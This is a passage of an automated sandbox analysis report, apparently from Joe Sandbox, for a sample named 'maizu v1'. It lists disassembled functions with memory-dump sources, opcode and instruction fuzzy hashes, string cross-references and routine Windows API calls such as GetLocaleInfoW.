Instruction Fuzzy Hash: DE11CBB0508381AAD3219F95C484A5EFFE4AB9A785F50984CFA9857222C379C8859F17

Function 00BCFC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 1295ed0c1c1c7ebba0fae1e700f4671707efc174e983644ea7662ddf586980fc
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: C5F11C71E0121A9BDF14CF68C880BADF7F2EF89314F1582AEE815A7391D730AD058B94

Function 00C33A00 Relevance: 2.8, Strings: 2, Instructions: 288COMMON

Download Yara Rule

Strings

, xrefs: 00C33C14, 00C33BE4, 00C33BED
, xrefs: 00C33A71, 00C33B41, 00C33C55, 00C33B78, 00C33B14, 00C33A44, 00C33A50, 00C33B20, 00C33B83, 00C33C5E

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-1425349742
Opcode ID: a72b061ef2fa19078f6f09b4256c813a26286e548eea71359ce8abeef3a1e115
Instruction ID: 737e90b87a48964d165b39f23a481a3b4763c5929b81acec983ee3364f1dbf42
Opcode Fuzzy Hash: a72b061ef2fa19078f6f09b4256c813a26286e548eea71359ce8abeef3a1e115
Instruction Fuzzy Hash: 9BA10371628380ABD720DB14DC40BAFBBE5EF86314F54492CF99597392E734EA40DB92

Function 00C35FE0 Relevance: 2.7, Strings: 2, Instructions: 228COMMON

Download Yara Rule

Strings

, xrefs: 00C360D6
, xrefs: 00C36036, 00C3614A, 00C36123, 00C36013, 00C3601B, 00C3612B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-1425349742
Opcode ID: e90198aaeed22a300b19465d833889039e3ddf500042478477c72a525097edc6
Instruction ID: 1b665c042428f0c1d5929ab6ca72beee3945e91e9d1ab9c97854ee236bcd32cb
Opcode Fuzzy Hash: e90198aaeed22a300b19465d833889039e3ddf500042478477c72a525097edc6
Instruction Fuzzy Hash: AA71AA74618340ABC714AF58C881A2FB7F5EF96710F14C82CF5D58B262D736E960CB96

Function 00C14ECB Relevance: 2.6, Strings: 2, Instructions: 140COMMON

Download Yara Rule

Strings

6, xrefs: 00C15069
^TPX, xrefs: 00C14FF1

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 6$^TPX
API String ID: 0-3674074485
Opcode ID: e2faa7a7b5874149e8eed49c136e69c5cac99755a3b347c5e8b82d654e240883
Instruction ID: 01485faa0f768f9203e28b5d423435dceab2af548b8898464318645242c0f027
Opcode Fuzzy Hash: e2faa7a7b5874149e8eed49c136e69c5cac99755a3b347c5e8b82d654e240883
Instruction Fuzzy Hash: A451FFB050C7808ED3529F6A8490A6AFBE2AB92745F64595CE0E14B362C332C886DF57

Function 00C35EB0 Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

@, xrefs: 00C35F18
, xrefs: 00C35F86, 00C35F63, 00C35F6B

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: @$
API String ID: 0-736778079
Opcode ID: 0ac285f3c4d7bf6ff568a0e3d31a6644a2a8a6f4a62bd3ece0da7e21683cf0fc
Instruction ID: 8d885d8142d75aa6724e03adb48392577271315cb3d70ec3aa6d4481affae186
Opcode Fuzzy Hash: 0ac285f3c4d7bf6ff568a0e3d31a6644a2a8a6f4a62bd3ece0da7e21683cf0fc
Instruction Fuzzy Hash: 1231BA309183049BD314DF58D880A2BFBF9FF8A319F14892CE5D897251D335DA088B96

Function 00BFAB60 Relevance: 2.6, Strings: 2, Instructions: 82COMMON

Download Yara Rule

Strings

p, xrefs: 00BFABF1
p, xrefs: 00BFABC9, 00BFABA3

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: p$p
API String ID: 0-2001073228
Opcode ID: 9ccebd6029074dcc193b65c5d4f3edf18eb513497d73d4234c938a2efa72fd27
Instruction ID: 12e3fd6f218b00da8858146008161a4e1a6945d7424e49be4264eae9c9c51178
Opcode Fuzzy Hash: 9ccebd6029074dcc193b65c5d4f3edf18eb513497d73d4234c938a2efa72fd27
Instruction Fuzzy Hash: 553120B0D0024A9BDB04CF98D9966AEFFB2FB0A300F144519E654E7741D334A998CFE5

Function 00BF5C31 Relevance: 2.6, Strings: 2, Instructions: 71COMMON

Download Yara Rule

Strings

0, xrefs: 00BF5C8F
8, xrefs: 00BF5C87

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 101362e4397cd3868e0d82b2d27283c317da1e6fc92abe76afbb474ffa19d7ef
Instruction ID: 1d7642950202a46ac8eacb90f6a2fcdbad396a89ec4766ffe39e9c71a4aed405
Opcode Fuzzy Hash: 101362e4397cd3868e0d82b2d27283c317da1e6fc92abe76afbb474ffa19d7ef
Instruction Fuzzy Hash: 5A31D73660D3C58FD325CA68944469FFBE1ABE6314F484D9DE9C457342CA74D809CBA3

Function 00BECEE0 Relevance: 2.5, Strings: 1, Instructions: 1296COMMON

Download Yara Rule

Strings

@, xrefs: 00BEEE55

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0f2fb15fb640a0ac74f7ebf11ae0a00e79eb1ebbcee514835237cce2622ebf17
Instruction ID: 99e56af9d4b5799836eea28ee46ef1066dc83ef50597ecb68edb9429c1090e0f
Opcode Fuzzy Hash: 0f2fb15fb640a0ac74f7ebf11ae0a00e79eb1ebbcee514835237cce2622ebf17
Instruction Fuzzy Hash: 2292F4716083928FD714CE2AC48023ABBE2EFD5354F188AADE895DB396D734DD45CB81

Function 00C307A0 Relevance: 1.9, Strings: 1, Instructions: 618COMMON

Download Yara Rule

Strings

f, xrefs: 00C3097E

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: b38e6f6da0f4ee892dc7bd84d3849ea3ee91e3c5acb601456a1049e317f3aa66
Instruction ID: 809bf9518b114d969faa3ed44b39587604963e4cfddb549d239ebcbef466565b
Opcode Fuzzy Hash: b38e6f6da0f4ee892dc7bd84d3849ea3ee91e3c5acb601456a1049e317f3aa66
Instruction Fuzzy Hash: 4622AE726183419FD714CF14C8A0B2BBBE6AF89314F288A2CF4E587392D735E945CB52

Function 00BD547C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00BD5477,?,?,00000008,?,?,00BE1335,00000000), ref: 00BD56A9

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 06c6ab9f7b93f3f332bff27c6576c7142d0b78d0fc8c2229a72e8384565d5eb8
Instruction ID: 2673c880a34370b8ae4b4aeec8a048b58019d40863341dcb1d55c449a951afbe
Opcode Fuzzy Hash: 06c6ab9f7b93f3f332bff27c6576c7142d0b78d0fc8c2229a72e8384565d5eb8
Instruction Fuzzy Hash: E2B14C71610A08CFD725CF28C486B65BBE1FF45364F25869AE89ACF3A1D335E991CB40

Function 00BC6FEC Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00BC7002

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 02680c7fefb4bd697aa54868dc18acda0edd1ac39f2d7484a97b352a0a5ec3cb
Instruction ID: 08611e2045e288ff6ea3f996e185253e73c81e3ace214d728d4771dbb40756c9
Opcode Fuzzy Hash: 02680c7fefb4bd697aa54868dc18acda0edd1ac39f2d7484a97b352a0a5ec3cb
Instruction Fuzzy Hash: 64A12972A15645CFDB18CF64D882BADBBF1FB88324F14826ED819EB261DB349941CF50

Function 00BEF5C0 Relevance: 1.7, Strings: 1, Instructions: 448COMMON

Download Yara Rule

Strings

CD, xrefs: 00BEF61E

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: CD
API String ID: 0-3115673787
Opcode ID: 4c0b4b88843fe66386dd9f80ba3723d5ab93d35f761372caa74b535c6bc6894e
Instruction ID: b1171cec1d5f9ee29610dae096e5d38e982881fd488007b982dec011ef6643d1
Opcode Fuzzy Hash: 4c0b4b88843fe66386dd9f80ba3723d5ab93d35f761372caa74b535c6bc6894e
Instruction Fuzzy Hash: 9CE1C772A083429BC704CF29C88166AB7E6EBC8750F25CA7DF499D73A0E774DD458B81

Function 00C14370 Relevance: 1.7, Strings: 1, Instructions: 415COMMON

Download Yara Rule

Strings

TW, xrefs: 00C14392

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: TW
API String ID: 0-1778470648
Opcode ID: 37e65682408c37040f626a0ca88badc03505eecafd751e2c16e196c146a53e28
Instruction ID: c11fdf109d6a64468495830161b32daa8d8e067947479e908fffef0e49845846
Opcode Fuzzy Hash: 37e65682408c37040f626a0ca88badc03505eecafd751e2c16e196c146a53e28
Instruction Fuzzy Hash: 22C1CEB15082009BDB15EF14D841A6BB7F5EF93754F488818F4D48B292E335DD94EBA3

Function 00BD980F Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a3cc3c8a5c005a6c3fc9df6ae6e8136c07eaa2498b12e81e8a81f6e50a951a3
Instruction ID: 9f12ecc54204f01196ed4665e36eb14465b5bb438162e94b4911197865f289d1
Opcode Fuzzy Hash: 4a3cc3c8a5c005a6c3fc9df6ae6e8136c07eaa2498b12e81e8a81f6e50a951a3
Instruction Fuzzy Hash: D031E672900219AFDB20DFA8CC85DABB7ADEB84754F14419AF91597245FA31EE408B50

Function 00BCC842 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00BCC9D0

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7838ea13614499bc45049c41e2b71547099c08f43ff2c29338a78a6acf59a9d2
Instruction ID: 0cd7b380b83f301698fa5d04b81958c127c68b5b717da4cc39b28f8ed760b6d4
Opcode Fuzzy Hash: 7838ea13614499bc45049c41e2b71547099c08f43ff2c29338a78a6acf59a9d2
Instruction Fuzzy Hash: 08C1AD70A0060A8FCB29CF68C495F7EBFE1EB65310F14469DE49E9B291C770AD45CB91

Function 00C1F756 Relevance: 1.6, Strings: 1, Instructions: 336COMMON

Download Yara Rule

Strings

-'.$, xrefs: 00C1F991

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: -'.$
API String ID: 0-2031752551
Opcode ID: 34e3f814482b72035446470293d0cf0e4fa038b8cce2f5f390abddc47372c923
Instruction ID: 18fe52c9c1d791ccbcac97350ec73367078d0a49139ab6bce2433dc412d2f226
Opcode Fuzzy Hash: 34e3f814482b72035446470293d0cf0e4fa038b8cce2f5f390abddc47372c923
Instruction Fuzzy Hash: 8AB19C74504B819FD7268F29C090B22FBF1AF17314F18859ED4EA8BB92C735E946DB90

Function 00BDC43D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00BDC491

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b36a628ad03e32b8c72cca3257471955a2a15c7102f523baae1bb1ded9b95c91
Instruction ID: a375fd8afa05d8389868ab22ebf25037ace2dc86070adc267985b6ea434f4abe
Opcode Fuzzy Hash: b36a628ad03e32b8c72cca3257471955a2a15c7102f523baae1bb1ded9b95c91
Instruction Fuzzy Hash: ED217F72611207ABDB289A25DC92EBABBE8EF44314B1040BBE906D6341FB75ED44DA50

Function 00BDC0C4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

EnumSystemLocalesW.KERNEL32(00BDC1EA,00000001,00000000,?,-00000050,?,00BDC81B,00000000,?,?,?,00000055,?), ref: 00BDC136

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e28802ffae7ec4a90ee581dcd3a4e05d8da251a2cabdb306f6d1c678a2cbbf35
Instruction ID: b44f5ceaad06d3fe8902f1396118aa695ae61260350d1667ce6d406bad8461f6
Opcode Fuzzy Hash: e28802ffae7ec4a90ee581dcd3a4e05d8da251a2cabdb306f6d1c678a2cbbf35
Instruction Fuzzy Hash: 251106362003029FDB189F3888A157AFBE2FF80318B14446EE94697B41E7756942C740

Function 00BDC66C Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00BD4C01: GetLastError.KERNEL32(?,00000008,00BD91D2), ref: 00BD4C05
Part of subcall function 00BD4C01: SetLastError.KERNEL32(00000000,00BEB440,00000024,00BD0169), ref: 00BD4CA7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00BDC406,00000000,00000000,?), ref: 00BDC698

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 767331f7b8530db959a1b2f3faa5294f331694e9ae55273026e3eb296b1e459e
Instruction ID: 16aabf3ad2cd9afcc8f63bc7a2fd478235c9fa254c123d453b8939bd9a8c83e7
